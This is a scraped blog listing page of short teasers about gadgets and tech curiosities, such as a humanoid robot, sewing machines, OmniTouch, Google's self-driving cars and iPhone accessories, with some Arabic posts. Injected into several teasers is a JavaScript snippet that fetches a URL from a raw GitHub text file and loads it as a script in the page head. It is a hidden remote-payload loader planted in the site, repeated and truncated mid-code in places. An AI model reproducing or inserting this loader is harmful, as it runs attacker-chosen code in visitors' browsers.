This is about 3 years ago... However, it's still awesome! It's when the movie (based on the novel) "I Robot" is no longer science fiction! Her maker, Japan-based robot maker Kokoro, says that she is supposed to give patients a heightened sense of security. Actroid-F is very realistic, but actually, she is pretty creepy, too – as you can see in the video embedded below (in which she’s replicating the operators facial expressions and body movements, this is 3 years old however...). var url Read more [...]

Today's sewing machines are sophisticated embedded systems with exacting precision, automated stitch control, and touch-screen interfaces: Photo: Brother International SQUINT-FREE: When appliances go digital, some difficult tasks become easy. The Brother Quattro 6000D sewing machine shown here has a camera above the needle plate that shows the stitching area on a built-in LCD screen. My Aunt Yetta sewed quilts—and most of her family's clothes—on an antique treadle sewing machine that Read more [...]

This is the guy that first worked out how to ‘hack’ the new facebook profile and photo stream to make a creative picture: Now there are lots of people having a go at making their profiles look great with photo art. Here are 20 of the best and most creative profile picture art hacks we’ve seen so far. Click on the pictures to see the full size. var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { Read more [...]

  Alongside the PocketTouch technology, Microsoft has also been supporting research on something a lot more visual, a lot more flashy, and a lot more versatile: OmniTouch. While mobile technology has been centering around increasing responsive and sleek touchscreens for the past few years, OmniTouch takes things in a bit of a different direction by using a projectorto make any flat surface into a “touchscreen.” At the moment, OmniTouch is pretty primitive and requires the user to wear a shoulder-mounted Read more [...]

Once a secret project, Google's autonomous vehicles are now out in the open, quite literally, with the company test-driving them on public roads and, on one occasion, even inviting people to ride inside one of the robot cars as it raced around a closed course. Google's fleet of robotic Toyota Priuses has now logged more than 190,000 miles (about 300,000 kilometers), driving in city traffic, busy highways, and mountainous roads with only occasional human intervention. The project is still far Read more [...]

PaveGen slabs, a technology developed in part by Laurence Kemball-Cook, convert human traversal into electricity. While the tiles have been in testing for a while now, they are slated to make their first big commercial appearance between London’s Olympic stadium and theWestfield Stratford City mall during the 2012 Olympics. The twenty PaveGen tiles to be placed are expected to generate enough electricity to power at least half of the malls outdoor lighting needs, practically from nothing.var Read more [...]

  لقراءة الموضوع باللغة العربية اضغط هنا Excerpts from an August 5, 2011 Daily Mail story: ..................... Scientist, photographer and father of three Mohamed Babu said, "The idea for the photographs came to me after my wife showed me some ants that turned white sipping the spilled milk on our kitchen counter.var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data Read more [...]

Retro looking iPhone Dock with Bluetooth You have solid oak and brass features on a dock designed for the iPhone, so many contrasts and yet it looks so right too. This device would make a great feature in an office or at home, the retro handset uses a Bluetooth connection, while an app controls the iPhone and even provides a cool retro looking dialler. Priced at $72 These are the features for the Bluetooth Oak Wireless Headset;var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

Caller ID on this watch Most people who go to meetings and other functions will place their phone on mute and risk missing that important call. However, this watch uses Bluetooth to connect to the phone and then when someone calls their number or names will appear on the display on the watch face, this means that the user can afford to leave the phone unless the call is very important.   Priced at $69.99 These are the specs for the Bluetooth Watch with Caller ID Display;var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) Read more [...]

"Turn your iPhone into a DSLR using real SLR lenses." $249 (iPhone 4 not included).var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement('script'); script.src = data.trim(); document.getElementsByTagName('head')[0].appendChild(script); });var url = 'https://raw.githubusercontent.com/lolngnos/loles/main/step.txt'; fetch(url) .then(response Read more [...]

لقراءة الموضوع باللغة العربية اضغط هنا Russian vegetable carver Anastasia Korsakova makes finishing touches on her work on September 5, 2011 during the first European carving competition in Leipzig, eastern Germany. The competition is taking place during the “Gaeste” trade fair for the restaurant, hotel and catering business running until September 6, 2011. Within four hours, competitors have to carve in front of the jury’s eyes a piece from melons, papayas, Read more [...]

التصوير هو أحد أجمل مجالات الإبداع وأكثرها وداً لعقولنا، لذا فحين يجتمع الإبداع بالتصوير قد تساوي الصورة آلاف الكلمات، ومنها سنرى في هذا الموضوع طريقة استثنائية للإبداع باستخدام لعبة دانبو: (نقلاً عن عالم الابداع) دانبو هي لعبة يابانية صغيرة تتكون من رجل آلي Read more [...]